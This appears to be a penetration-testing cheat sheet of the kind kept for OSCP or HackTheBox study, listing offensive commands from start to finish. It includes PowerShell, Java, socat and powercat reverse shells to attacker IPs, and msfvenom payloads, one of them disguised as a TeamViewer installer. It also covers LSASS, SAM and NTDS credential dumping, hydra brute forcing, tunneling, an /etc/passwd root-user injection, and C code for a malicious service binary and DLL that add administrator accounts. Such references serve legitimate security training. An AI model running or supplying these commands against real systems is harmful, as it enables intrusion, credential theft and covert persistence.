Powershell : powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Java :
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
# Different commands used to spawn an interactive shell on a linux-based system
Python : python -c 'import pty; pty.spawn("/bin/sh")'
Sh : /bin/sh -i
Perl : perl —e 'exec "/bin/sh";'
Ruby : ruby: exec "/bin/sh"
Lua : Lua: os.execute('/bin/sh')
awk : awk 'BEGIN {system("/bin/sh")}'
find : find / -name nameoffile 'exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
find : find . -exec /bin/sh \; -quit
vim : vim -c ':!/bin/sh'
# Upgrade shell TTY
python -c 'import pty; pty.spawn("/bin/bash")'
ctrl+z
stty raw -echo;fg
<enter><enter>
reset
xterm
# Socat Reverse Shells
socat -d -d TCP4-LISTEN:443 STDOUT
socat TCP4:10.11.0.22:443 EXEC:/bin/bash
# Socat Encrypted Bind Shells
openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out bind_shell.crt
cat bind_shell.key bind_shell.crt > bind_shell.pem
sudo socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash
socat - OPENSSL:10.11.0.4:443,verify=0
# Powercat Reverse Shells
sudo nc -lvp 443
powercat -c 10.11.0.4 -p 443 -e cmd.exe
# Powercat Bind Shells
powercat -l -p 443 -e cmd.exe
nc 10.11.0.22 443
# Powercat Stand-Alone Payloads
powercat -c 10.11.0.4 -p 443 -e cmd.exe -g > reverseshell.ps1
./reverseshell.ps1
# Creating a stand-alone encoded Base64 payload
powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge > encodedreverseshell.ps1
powershell.exe -E "Base64 encoded payload"
# MSFvenom command used to generate a linux-based reverse shell stageless payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > nameoffile.elf
# MSFvenom command used to generate a Windows-based reverse shell stageless payload
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > nameoffile.exe
# MSFvenom command used to generate a MacOS-based reverse shell payload
msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f macho > nameoffile.macho
# MSFvenom command used to generate a ASP web reverse shell payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.113 LPORT=443 -f asp > nameoffile.asp
# MSFvenom command used to generate a JSP web reverse shell payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f raw > nameoffile.jsp
# MSFvenom command used to generate a WAR java/jsp compatible web reverse shell payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f war > nameoffile.war
# Location of laudanum webshells on ParrotOS and Pwnbox
/usr/share/webshells/laudanum
# Location of Antak-Webshell on Parrot OS and Pwnbox
/usr/share/nishang/Antak-WebShell
Exploit
# Online
https://www.exploit-db.com
https://packetstorm.news
https://github.com
# Offline
Metasploit
searchsploit
/usr/share/nmap/scripts/
Cross-Compiling Exploit Code
# Compiling exploit for windows target
i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32
# run exploit with wine in linux
sudo wine syncbreeze_exploit.exe
# Packing chishel with upx
upx brute chisel
Metasploit Framework
# Create and initialize the database
sudo msfdb init
# Enable PostgreSQL
sudo systemctl enable postgresql
# Confirming the connexion
msf6 > db_status
MSFVenom
# Generating Payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=1337 -f aspx > reverse_shell.aspx
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=8080 -f elf -o backupjob
# Generating Payload - With Encoding
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl -e x86/shikata_ga_nai
# starting a listener on msfconsole
msf6 > use multi/handler
# Privilege Escalation
use post/multi/recon/local_exploit_suggester
# Embed payloads into any executable
msfvenom windows/x86/meterpreter_reverse_tcp LHOST=<IP> LPORT=8080 -k -x TeamViewer_Setup.exe -e x86/shikata_ga_nai -a x86 --platform windows -o TeamViewer_Setup.exe -i 5
Post-Exploitation
# Display idle time from current user
meterpreter > idletime
# Elevate permissions to NT AUTHORITY\SYSTEM
# Check if we have SeImpersonatePrivilege or SeDebugPrivilege
whoami /priv
# Elevate our privileges with getsystem
meterpreter > getsystem
meterpreter > getuid
# Migrate into explorer.exe
meterpreter > ps
meterpreter > migrate <PID>
# If we dont find a process to migrate to we can create a new process
meterpreter > execute -H -f notepad
meterpreter > migrate <PID>
# Elevate our shell to a high integrity level by bypassing UAC
# Verifiying the integrity level
Import-Module NtObjectManager
Get-NtTokenIntegrityLevel
# Bypass UAC
search UAC
use exploit/windows/local/bypassuac_sdclt
# Load Kiwi module and execute creds_msv to retrieve credentials
meterpreter > load kiwi
meterpreter > creds_msv
Password Attacks
Password Reuse / Default Passwords
# Search for default creds
creds search mssql
# default creds for routers
https://www.routerpasswords.com
Password Mutations
# Uses cewl to generate a wordlist based on keywords present on a website.
cewl https://www.inlanefreight.com -d 4 -m 6 --lowercase -w inlane.wordlist
# Uses Hashcat to generate a rule-based word list.
hashcat --force password.list -r custom.rule --stdout > mut_password.list
# Uses crunch to generate a wordlist of 6 char begin with "Lab"
crunch 6 6 -t Lab%%% > wordlist
# Users username-anarchy tool in conjunction with a pre-made list of first and last names to generate a list of potential username.
./username-anarchy -i /path/to/listoffirstandlastnames.txt
# Extract a company employee names from linkedin
python linkedin2username.py -c targetco
# Uses Linux-based commands curl, awk, grep and tee to download a list of file extensions to be used in searching for files that could contain passwords.
curl -s https://fileinfo.com/filetypes/compressed | html2text | awk '{print tolower($1)}' | grep "\." | tee -a compressed_ext.txt
Remote Password Attacks
crackmapexec winrm <ip> -u user.list -p password.list
# Uses CrackMapExec over WinRM to attempt to brute force user names and passwords specified hosted on a target.
crackmapexec smb <ip> -u "user" -p "password" --shares
# Uses CrackMapExec to enumerate smb shares on a target using a specified set of credentials.
hydra -L user.list -P password.list <service>://<ip> -s <port>
# Uses Hydra in conjunction with a user list and password list to attempt to crack a password over the specified service.
hydra -l username -P password.list <service>://<ip>
# Uses Hydra in conjunction with a username and password list to attempt to crack a password over the specified service.
hydra -L user.list -p password <service>://<ip>
# Uses Hydra in conjunction with a user list and password to attempt to crack a password over the specified service.
hydra -C <user_pass.list> ssh://<IP>
# Uses Hydra in conjunction with a list of credentials to attempt to login to a target over the specified service. This can be used to attempt a credential stuffing attack.
hydra -l user -P rockyou.txt <IP> http-post-form "/index.php:usr=user&pwd=^PASS^:Login failed. Invalid"
# Uses Hydra to attack HTTP POST Login Form
crackmapexec smb <ip> --local-auth -u <username> -p <password> --sam
# Uses CrackMapExec in conjunction with admin credentials to dump password hashes stored in SAM, over the network.
crackmapexec smb <ip> --local-auth -u <username> -p <password> --lsa
# Uses CrackMapExec in conjunction with admin credentials to dump lsa secrets, over the network. It is possible to get clear-text credentials this way.
crackmapexec smb <ip> -u <username> -p <password> --ntds
# Uses CrackMapExec in conjunction with admin credentials to dump hashes from the ntds file over a network.
evil-winrm -i <ip> -u Administrator -H "<passwordhash>"
# Uses Evil-WinRM to establish a Powershell session with a Windows target using a user and password hash. This is one type of Pass-The-Hash attack.
Windows Local Password Attacks / Credential Hunting
tasklist /svc
# A command-line-based utility in Windows used to list running processes
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
# Searching for KeePass database files
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml
# Uses Windows command-line based utility findstr to search for the string "password" in many different file type
Get-Process lsass
# A Powershell cmdlet is used to display process information. Using this with the LSASS process can be helpful when attempting to dump LSASS process memory from the command line
rundll32 C:\windows\system32\comsvcs.dll, MiniDump <lsass_ID> C:\lsass.dmp full
# Uses rundll32 in Windows to create a LSASS memory dump file. This file can then be transferred to an attack box to extract credentials
pypykatz lsa minidump /path/to/lsassdumpfile
# Uses Pypykatz to parse and attempt to extract credentials & password hashes from an LSASS process memory dump file
reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save
# Uses reg.exe in Windows to save a copy of a registry hive at a specified location on the file system. It can be used to make copies of any registry hive (i.e., hklm\sam, hklm\security, hklm\system)
move sam.save \\<ip>\NameofFileShare
# Uses move in Windows to transfer a file to a specified file share over the network
python3 secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
# Uses Secretsdump.py to dump password hashes from the SAM database
vssadmin CREATE SHADOW /For=C:
# Uses Windows command line based tool vssadmin to create a volume shadow copy for C:. This can be used to make a copy of NTDS.dit safely
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit
# Uses Windows command line based tool copy to create a copy of NTDS.dit for a volume shadow copy of C:
Linux Local Password Attacks / Credential Hunting
for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib|fonts|share|core" ;done
# Script that can be used to find .conf, .config and .cnf files on a Linux system
for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc|lib");do echo -e "\nFile: " $i; grep "user|password|pass" $i 2>/dev/null | grep -v "\#";done
# Script that can be used to find credentials in specified file types
for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc|lib|headers|share|man";done
# Script that can be used to find common database files
find /home/* -type f -name "*.txt" -o ! -name "*.*"
# Uses Linux-based find command to search for text files
for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc|lib|headers|share";done
# Script that can be used to search for common file types used with scripts
for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib|fonts|share|core" ;done
# Script used to look for common types of documents
cat /etc/crontab
# Uses Linux-based cat command to view the contents of crontab in search for credentials
ls -la /etc/cron.*/
# Uses Linux-based ls -la command to list all files that start with cron contained in the etc directory
grep -rnw "PRIVATE KEY" /* 2>/dev/null | grep ":1"
# Uses Linux-based command grep to search the file system for key terms PRIVATE KEY to discover SSH keys
grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"
# Uses Linux-based grep command to search for the keywords PRIVATE KEY within files contained in a user's home directory
grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"
# Uses Linux-based grep command to search for keywords ssh-rsa within files contained in a user's home directory
tail -n5 /home/*/.bash*
# Uses Linux-based tail command to search the through bash history files and output the last 5 lines
bash mimipenguin.sh
# Runs Mimipenguin.sh using bash (also can be used with python3)
ls -l .mozilla/firefox/ | grep default
# Uses Linux-based command to search for credentials stored by Firefox then searches for the keyword default using grep
cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq
# Uses Linux-based command cat to search for credentials stored by Firefox in JSON
python3.9 firefox_decrypt.py
# Runs Firefox_decrypt.py to decrypt any encrypted credentials stored by Firefox. Program will run using python3.9
python3 lazagne.py all
# Runs Lazagne.py with all modules using Python 3 (can be used with python2.7 or Windows exe)
Cracking Passwords
# Cracking Methodology
- Format hashes : hash-identifier, haiti, hashid, *2john
- Calculate the cracking time in s : python3 -c "print(keyspace/(123 MH/s x 1000000)"
- Prepare wordlist : Hashcat/John rules
- Attack the hash : hashcat, john
haiti $(cut -d ':' -f 2 hash.txt)
# Determine the hash type
hashcat -m 1000 dumpedhashes.txt rockyou.txt
# Uses Hashcat to crack NTLM hashes using a specified wordlist
hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b rockyou.txt --show
# Uses Hashcat to attempt to crack a single NTLM hash and display the results in the terminal output
unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes
# Uses unshadow to combine data from passwd.bak and shadow.bk into one single file to prepare for cracking
hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked
# Uses Hashcat in conjunction with a wordlist to crack the unshadowed hashes and outputs the cracked hashes to a file called unshadowed.cracked
hashcat -m 500 -a 0 md5-hashes.list rockyou.txt
# Uses Hashcat in conjunction with a word list to crack the md5 hashes in the md5-hashes.list file
hashcat -m 22100 backup.hash rockyou.txt -o backup.cracked
# Uses Hashcat to crack the extracted BitLocker hashes using a wordlist and outputs the cracked hashes into a file called backup.cracked
python3 ssh2john.py SSH.private > ssh.hash
# Runs ssh2john.py script to generate hashes for the SSH keys in the SSH.private file, then redirects the hashes to a file called ssh.hash
john ssh.hash --show
# Uses John to attempt to crack the hashes in the ssh.hash file, then outputs the results in the terminal
office2john.py Protected.docx > protected-docx.hash
# Runs Office2john.py against a protected .docx file and converts it to a hash stored in a file called protected-docx.hash
john --wordlist=rockyou.txt protected-docx.hash
# Uses John in conjunction with the wordlist rockyou.txt to crack the hash protected-docx.hash
pdf2john.pl PDF.pdf > pdf.hash
# Runs Pdf2john.pl script to convert a pdf file to a pdf has to be cracked
john --wordlist=rockyou.txt pdf.hash
# Runs John in conjunction with a wordlist to crack a pdf hash
zip2john ZIP.zip > zip.hash
# Runs Zip2john against a zip file to generate a hash, then adds that hash to a file called zip.hash
john --wordlist=rockyou.txt zip.hash
# Uses John in conjunction with a wordlist to crack the hashes contained in zip.hash
bitlocker2john -i Backup.vhd > backup.hashes
# Uses Bitlocker2john script to extract hashes from a VHD file and directs the output to a file called backup.hashes
file GZIP.gzip
# Uses the Linux-based file tool to gather file format information
for i in $(cat rockyou.txt);do openssl enc -aes-256-cbc -d -in GZIP.gzip -k $i 2>/dev/null | tar xz;done
# Script that runs a for-loop to extract files from an archive.
# Add the rule to /etc/john/john.conf
[List.Rules:sshRules]
c $1 $2 $3 $!
# Uses john to crack ssh.hash using a custom rule
john --wordlist=ssh.passwords --rules=sshRules ssh.hash
Pivoting, Tunneling & Port Forwarding
Enumeration
# Enumeration commands
ip a
ip route
ss -ntplu
# Starting tcpdump to listen on TCP/8080 through the tun0 interface
sudo tcpdump -nvvvXi tun0 tcp port 8080
Port Forwarding
Local Port Forwarding
# Forward port 3306 from remote host to local port 1234 using ssh on port 22
# [LOCAL_IP:]LOCAL_PORT:DEST_IP:DEST_PORT
ssh -N -L 0.0.0.0:4455:172.16.5.217:445 ubuntu@10.10.10.10
# Metasploit Meterpreter
# start a listner local port 3300 and frwd trafic to the remote host on port 3389
meterpreter > portfwd add -l 3300 -p 3389 -r 172.16.5.129

Dynamic Port Forwarding
# Enable Dynamic Port Forwarding on port 1234 over SSH
ssh -N -D 0.0.0.0:1234 ubuntu@10.10.10.10
# Change proxychains configuration file to use our local port 1234
echo "socks5 127.0.0.1 1234" | tee -a /etc/proxychains.conf
# Metasploit Meterpreter
# Configuring a local proxy with msf socks_proxy this will open a local port 9050
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050
msf6 auxiliary(server/socks_proxy) > set SRVHOST 0.0.0.0
msf6 auxiliary(server/socks_proxy) > set version 5
msf6 auxiliary(server/socks_proxy) > run
# Change proxychains configuration file to use our local port 9050
echo "socks5 127.0.0.1 9050" | tee -a /etc/proxychains.conf
# Configure socks_proxy to route all the traffic via Meterpreter session
msf6 > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set SESSION 1
msf6 post(multi/manage/autoroute) > set SUBNET 172.16.5.0
msf6 post(multi/manage/autoroute) > run
# or you can configure directly it from meterpreter session
meterpreter > run autoroute -s 172.16.5.0/23
# Listing Active Routes with AutoRoute
meterpreter > run autoroute -p

Reverse Port Forwarding
# listen on port 8080 of InternalIPofPivotHost and forward connexion to port 8000 on attack host
# ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:8000 ubuntu@<ipAddressofTarget> -vN
ssh -R 172.16.5.129:8080:0.0.0.0:8000 ubuntu@10.129.15.50 -vN
# Metasploit Meterpreter
# send all trafic received from remote host on port 1234 to local port 8081
meterpreter > portfwd add -R -l 8081 -p 1234 -L 10.10.15.5

SSH Remote Dynamic Port Forwarding
# SSH Remote Port Forwarding
# Starting the SSH server
sudo systemctl start ssh
# Connect to kali and open a local port 2345 to forward tafic to 10.4.50.215:5432
ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@192.168.0.4
# SSH Remote Dynamic Port Forwarding
# Connect to kali and open a local port 2345 to forward trafic via the pivot host
ssh -N -R 2345 kali@192.168.0.4
# Change proxychains configuration file to use our local port 2345
echo "socks5 127.0.0.1 2345" | tee -a /etc/proxychains.conf

Socat Redirection
# Socat Redirection with a Reverse Shell
# Listen on localhost port 8080 and frwd all trafic to 10.10.14.18 port 80
socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80
socat -ddd TCP-LISTEN:8080,fork TCP:10.10.14.18:80
# Socat Redirection with a Bind Shell
# listens on port 8080 and forwards trafic to 172.16.5.19 port 8443
socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443
SSH Pivoting with sshuttle
# use sshuttle to route trafic via remote host over SSH / VPN with SSH
sshuttle -r ubuntu@10.129.202.64 172.16.5.0/23 -v
sshuttle -r ubuntu@10.129.202.64 0/0 -v
SSH for Windows
# Locate ssh.exe if present you can use it to Pivot/Port forward
where ssh
%systemdrive%\Windows\System32\OpenSSH
# Plink
# Plink Remote Port Forwarding
# Connect to kali and open a local port 9833 and forward tafic to 127.0.0.1:3389
cmd.exe /c echo y | .\plink.exe -ssh -l kali -pw <mykalipassword> -R 127.0.0.1:9833:127.0.0.1:3389 192.168.0.4
# Enable Dynamic Port Forwarding on local port 9050 over SSH
plink.exe -ssh -D 9050 ubuntu@10.129.15.50
# After that we need to use Proxifier to send trafic via port 9050
Port Forwarding with Windows netsh
# create a rule to allow connection from port 2222 in the Windows firewall
netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=10.129.42.198 localport=2222 action=allow
# Using netsh.exe to Port Forward
# listen on port 2222 and forward received connection to connectaddress port 22
netsh.exe interface portproxy add v4tov4 listenport=2222 listenaddress=10.129.42.198 connectport=22 connectaddress=172.16.5.25
# Verifying Port Forward
netsh.exe interface portproxy show v4tov4
netstat -anp TCP | find "2222"
Web Server Pivoting with Rpivot
# Running server.py from the Attack Host
# Allow the client to connect on port 9999 and listen on port 9050
python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0
# Running client.py from Pivot Target
# Connect to attack host on port 9999
python2.7 client.py --server-ip 10.10.14.18 --server-port 9999
# Change proxychains configuration file to use our local port 9050
echo "socks5 127.0.0.1 9050" | tee -a /etc/proxychains.conf
Tunneling
DNS Tunneling with Dnscat2
# Starting the dnscat2 server
sudo ruby dnscat2.rb --dns host=10.1.1.1,port=53,domain=domain.local --no-cache
# Importing dnscat2.ps1 and establishing a DNS tunnel with the server to send back a CMD shell
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.1.1.1 -Domain domain.local -PreSharedSecret 0ec04..snip..89d21 -Exec cmd
dnscat2> ?
dnscat2> window -i 1
SOCKS5 Tunneling with Chisel
# Running the Chisel Server on the Pivot Host
./chisel server -v -p 1234 --socks5
# Connecting to the Chisel Server from attack host
./chisel client -v 10.129.202.64:1234 socks
echo "socks5 127.0.0.1 1080" | tee -a /etc/proxychains.conf
# Chisel Reverse Pivot
# Starting the Chisel Server on Attack Host
sudo ./chisel server --reverse -v -p 1234 --socks5
echo "socks5 127.0.0.1 1080" | tee -a /etc/proxychains.conf
# Connecting the Chisel Client from Pivot Host
./chisel client -v 10.10.14.17:1234 R:socks
# ssh over socks5 proxy like : proxychains ssh admin@10.4.5.5
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' admin@10.4.5.5
ICMP Tunneling with SOCKS
# Starting the ptunnel-ng Server on the Target Host.
sudo ./ptunnel-ng -r10.129.202.64 -R22 # 10.129.202.64 is the IP of the target host
# Connecting to ptunnel-ng Server from Attack Host
sudo ./ptunnel-ng -p10.129.202.64 -l2222 -r10.129.202.64 -R22
# Tunneling an SSH connection through an ICMP Tunnel
ssh -p2222 -lubuntu 127.0.0.1
# Enabling Dynamic Port Forwarding over SSH
ssh -D 9050 -p2222 -lubuntu 127.0.0.1
RDP and SOCKS Tunneling with SocksOverRDP
# Loading SocksOverRDP.dll using regsvr32.exe on attack host
regsvr32.exe SocksOverRDP-Plugin.dll
# Now we can connect to pivot host over RDP using mstsc.exe
# start SocksOverRDP-Server.exe with Admin privileges on pivot host.
# on attack host we can confirm the SOCKS Listener is Started, so we can formward all trafic to 127.0.0.1:1080 with Proxifier
netstat -antb | findstr 1080
Ligolo-ng
# Create and set up a tunnel interface
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
# Set up the proxy and the agent
./proxy -selfcert
./agent -connect 192.168.45.184:11601 -ignore-cert
# List sessions
session
# add a route to the internal network from ligolo
sudo ip route add 172.16.175.0/24 dev ligolo
# Start the connexion from ligolo
start
# Add a port forward
listener_add --addr 0.0.0.0:5555 --to 127.0.0.1:5555 --tcp
Privilege Escalation
Linux
Enumeration
# Manual Enumeration
# Information about the current user
id
whoami
# Information about users
cat /etc/passwd
# The hostname
hostname
# The version of the OS
cat /etc/issue
cat /etc/os-release
uname -a
# List of running processes
ps
# Full TCP/IP configuration
ip a
ifconfig
# Printing the routes
routel
route
# active network connections
ss -anp
ss -ntplu
netstat -ntlp
# Inspecting custom IP tables
cat /etc/iptables/rules.v4
# Listing all cron jobs
ls -lah /etc/cron*
# Cron jobs for the current user
crontab -l
# Installed packages on Debian
dpkg -l
# Listing all world writable directories
find / -writable -type d 2>/dev/null
# Listing content of /etc/fstab and all mounted drives
cat /etc/fstab
mount
# Available drives using lsblk
lsblk
# Listing loaded drivers
lsmod
# Additional information about a module
/sbin/modinfo libata
# Automated Enumeration
./unix-privesc-check standard > output.txt
LinEnum.sh
linpeas.sh
# commands to PrivEsc
su - root
su root
sudo -i
sudo bash -p
Exposed Confidential Information
# Inspecting User Trails
env
cat .bashrc
sudo -l
# Inspecting Service Footprints
watch -n 1 "ps -aux | grep -E 'root|pass'"
sudo tcpdump -i lo -A | grep -E "root|pass"
Insecure File Permissions
# Abusing Cron Jobs
cat /var/log/cron.log
grep "CRON" /var/log/syslog
# Abusing Password Authentication
ls -la /etc/shadow ; cat /etc/shadow
ls -la /etc/passwd ; cat /etc/passwd
# Creat password hash of "Passw@rd" to edit /etc/passwd to add the user root2
openssl passwd Passw@rd
echo "root2:$1$LRLHgfym$jlrbkdEKOHUWu1:0:0:root:/root:/bin/bash" >> /etc/passwd
# Insecure System Components
# Abusing Setuid Binaries and Capabilities
# Searching for SUID files
find / -perm -u=s -type f 2>/dev/null
# Manually Enumerating Capabilities looking for setuid
/usr/sbin/getcap -r / 2>/dev/null
# Exploiting Kernel Vulnerabilities
cat /etc/issue
uname -r
arch
searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation" | grep "4." | grep -v " < 4.4.0" | grep -v "4.8"
Windows
# SID representation (RID = 1001)
S-R-X-Y
S-1-5-21-1336799502-1441772794-948155058-1001
# Well known SIDs
S-1-0-0 Nobody
S-1-1-0 Everybody
S-1-5-11 Authenticated Users
S-1-5-18 Local System
S-1-5-domainidentifier-500 Administrator
# Integrity Levels
- System integrity – Kernel-mode processes with SYSTEM privileges
- High integrity – Processes with administrative privileges
- Medium integrity – Processes running with standard user privileges
- Low integrity level – Restricted processes, often used for security [sandboxing], such as web browsers.
- Untrusted – The lowest integrity level, assigned to highly restricted processes that pose potential security risks
Enumerating Windows
# Information we should gather :
- Username and hostname
- Group memberships of the current user
- Existing users and groups
- Operating system, version and architecture
- Network information
- Installed applications
- Running processes
whoami
whoami /groups
Get-LocalUser OR net user
Get-LocalGroup OR net localgroup
# Display users info
net user <user>
# Display members of a group
Get-LocalGroupMember <group>
systeminfo
ipconfig /all
route print
netstat -ano
# List Installed 32-bit/64-bit Application
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
dir "C:\Program Files"
dir "C:\Program Files (x86)"
# List Running processes
Get-Process
# Searching for password manager databases
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
# Searching for sensitive information in XAMPP directory
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
# Searching for text files and password manager databases
Get-ChildItem -Path C:\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
# Using Runas to execute cmd as another user
runas /user:htb_user cmd
# History
Get-History
(Get-PSReadlineOption).HistorySavePath
# Creating a new user and adding it to the administrators group
net user pwned Password123 /add
net user
net localgroup Administrators pwned /add
net localgroup Administrators
# Automated Enumeration
/usr/share/peass/winpeas/winPEASx64.exe
Seatbelt.exe -group=all -full
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
Windows Services
Service Binary Hijacking
# List of services with binary path
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
# Check Permissions of mysqld.exe
# icacls permissions : (F:Full access, M:Modify, RX:Read and execute, R:Read-only, W:Write-only)
icacls "C:\xampp\mysql\bin\mysqld.exe"
# If we have Full/Write Acces we can try to change the executable with another one
#include <stdlib.h>
int main ()
{ int i; i = system ("net user dave2 password123! /add"); i = system ("net localgroup administrators dave2 /add"); return 0; }
# Compilation : x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
# restart the service
net stop mysql ; net start mysql
# We can try to reboot the machine if the service Startup Type is set to "Automatic"
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}
# Check if we have SeShutdownPrivilege priv
whoami /priv
shutdown /r /t 0
# Automation
. .\PowerUp.ps1
Get-ModifiableServiceFile
Install-ServiceBinary -Name 'mysql'
DLL Hijacking
# Standard DLL search order
1. The directory from which the application loaded.
2. The system directory.
3. The 16-bit system directory.
4. The Windows directory.
5. The current directory.
6. The directories that are listed in the PATH environment variable.
# Enumerate installed applications
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
# We can search online to see if any of the installed applications are vulnerable to DLL hijacking.
# Or Use Process Monitor to detect DLLs loaded by the application as well as missing ones (need admin priv)
# Tip : in procmon search for "NAME NOT FOUND" in result to find missing DLLs
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
int i;
i = system ("net user dave3 password123! /add");
i = system ("net localgroup administrators dave3 /add");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}
// x86_64-w64-mingw32-gcc TextShaping.cpp --shared -o TextShaping.dll
Unquoted Service Paths
# How Windows will try to locate the service binary C:\Program Files\Current Version\GammaServ.exe
C:\Program.exe
C:\Program Files\Current.exe
C:\Program Files\Current Version\GammaServ.exe
# List of services with binary path
Get-CimInstance -ClassName win32_service | Select Name,State,PathName
# List of services with spaces and missing quotes in the binary path cmd.exe
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
# Reviewing permissions on the Enterprise Apps directory
icacls "C:\Program Files"
# Start/Stop service
Start-Service GammaService ; Stop-Service GammaService
# Automation
. .\PowerUp.ps1
Get-UnquotedService
Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Current.exe"
Scheduled Tasks
1. As which user account (principal) does this task get executed?
2. What triggers are specified for the task?
3. What actions are executed when one or more of these triggers are met?
# List of all scheduled tasks
schtasks /query /fo LIST /v | Select-String "^(HostName|TaskName|Next Run Time|Status|Author|Task To Run|Scheduled Task State):" | ForEach-Object { $_.Line }
# if we have permission on the executable we can change it like we do in the Service Binary Hijacking
Using Exploits
## Windows kernel exploits
# checking our current privileges
whoami /priv
# Enumerating the Windows version and security patches
systeminfo
Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }
# Abusing Windows privileges : SeImpersonatePrivilege, SeBackupPrivilege, SeAssignPrimaryToken, SeLoadDriver, SeDebug
# If we have SeImpersonatePrivilege
whoami /priv
.\SigmaPotato "net user pwned lab /add"
.\SigmaPotato "net localgroup Administrators pwned /add"
# Other Potatoes Priv Esc:
# https://jlajara.gitlab.io/Potatoes_Windows_Privesc
Resources
# Linux
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md
